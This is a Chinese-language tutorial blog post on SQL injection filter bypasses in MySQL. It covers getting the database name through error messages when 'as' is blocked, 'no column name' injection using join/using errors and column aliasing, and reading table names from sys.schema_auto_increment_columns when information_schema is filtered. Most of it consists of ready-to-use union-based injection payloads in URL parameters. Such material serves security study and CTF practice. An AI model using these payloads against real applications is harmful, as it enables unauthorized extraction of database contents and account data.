SQL注入绕过之过滤了‘as‘与无列名注入

0x00 当过滤了as时:

也就代表database()无法使用,无法查询数据库信息

  • 换思路获取库名,利用报错:

        -1' || (select*from aa)# 
        -1'or(select*from aa)# 

        //aa为不存在的表名

        报错回显中直接给出了数据库的名字。

  • 利用schema(mysql特性),记录了所有数据库的信息在information_schema.schemata中

0x01 当column被过滤的无列名注入

  • 使用join报错得列名:

原理:通过系统关键词join可建立两个表之间的内连接。通过对想要查询列名所在的表与其自身内连接,会由于冗余的原因(相同列名存在),而发生错误。并且报错信息会存在重复的列名,可以使用 using 表达式挨个包含查询每一列,实现列的转移。

常规爆字段名操作:

获取第一列的字段名及后面每一列字段名:

?id=-1' union select*from (select * from users as a join users as b)as c--+

?id=-1' union select*from (select * from users as a join users b using(id,username))c--+

?id=-1' union select*from (select * from users as a join users b using(id,username,password))c--+

数据库中as作用是起别名,as是可以省略的,为了增加可读性,建议不省略。

  • 通过起别名的方式:

        select 1,2,3,4,5 union select * from users;
        无列名注入关键 就是要猜测表里有多少个列,要一一对应上,上面例子是有4个列
        1,2,3,4的作用就是对列起别名,替换为后面无列名注入做准备

例如知道第三列代表的password,直接对第三列进行查询

当反引号(`)被禁用时,就可以使用起别名的方法来代替

select b from (select 1,2, 3 as b ,4 union select * from users)as a;

在注入时同时查询多个列

select group_concat(b,c) from (select 1,2, 3 as b , 4 as c  union select * from users)as a;

0x02 利用sys.schema_auto_increment_columns 新特性

在mysql>=5.7版本中,新增了sys.schema_auto_increment_columns 属性,用于自动记录对表自增id的监控; 例如对于一个数据库表中存在的id列,若是设置为int型且自增则会记录于sys.schema_auto_increment_columns中,其中包括了数据库名称等内容,从另一方面绕过了对information_schema的过滤

 

 

限制条件:

mysql ≥ 5.7版本

一般需超级管理员才可以访问sys

爆表名常规操作:

?id=-1' union select 1,2,group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database()--+

?id=-1' union select 1,2,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()--+

 参考链接:

information_schema过滤与无列名注入_paidx0的博客-CSDN博客

https://www.cnblogs.com/Dark1nt/p/14780958.html

Bypass information_schema 与无列名注入_Newiy Gnaw的博客-CSDN博客

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值